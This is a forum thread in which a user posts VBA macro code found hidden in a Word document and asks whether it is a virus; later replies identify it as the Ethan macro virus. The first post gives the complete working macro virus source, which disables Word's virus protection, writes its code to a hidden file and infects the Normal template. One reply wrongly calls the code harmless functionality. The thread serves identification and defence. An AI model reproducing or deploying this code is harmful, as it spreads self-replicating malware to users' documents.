VIRUS!!! would this constitute one?

[coox]

Hi y'all, just found this sitting behind a doc my boss sent me. I saw him create the doc, he just hit the new button and pasted a bitmap into it, so this code got there all by itself. I was just wondering, that's all...

Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
Randomize
If Dir("c:\ethan.doc", 6) = "" Then
Open "c:\ethan.doc" For Output As #1
For I = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(I, 1)
Print #1, a
Next I
Close #1
SetAttr "c:\ethan.doc", 6
End If
If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\ethan.doc" For Input As #1
If LOF(1) = 0 Then GoTo q
I = 1
Do While Not EOF(1)
Line Input #1, a
t.CodeModule.InsertLines I, a
I = I + 1
Loop
q:
Close #1
If Rnd < 0.3 Then With Dialogs(wdDialogFileSummaryInfo): .Title = "Ethan Frome": .Author = "EW/LN/CB": .Keywords = "Ethan": .Execute: End With
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
End Sub

[compuGEEK]

Your boss has a cool little program there, but it's definitely no virus, it's functionality.

It's unfortunate that virus writers take advantage of the functionality that is available to everyone.

It makes me want to take a garden shears and snip off their fingers one by one.....

ONLY the fingers?

[coox]

Huh? Can you explain that, compuGEEK? I just ran it through McAfee and it said it was an Ethan virus or something. Any ideas what it's supposed to do? Apart from replicating itself, that is....

[BruceG]

You sure do have a virus, the Ethan word macro virus. Here's what Norton has to say on it:

http://www.symantec.com/avcenter/ven...7.ethan.a.html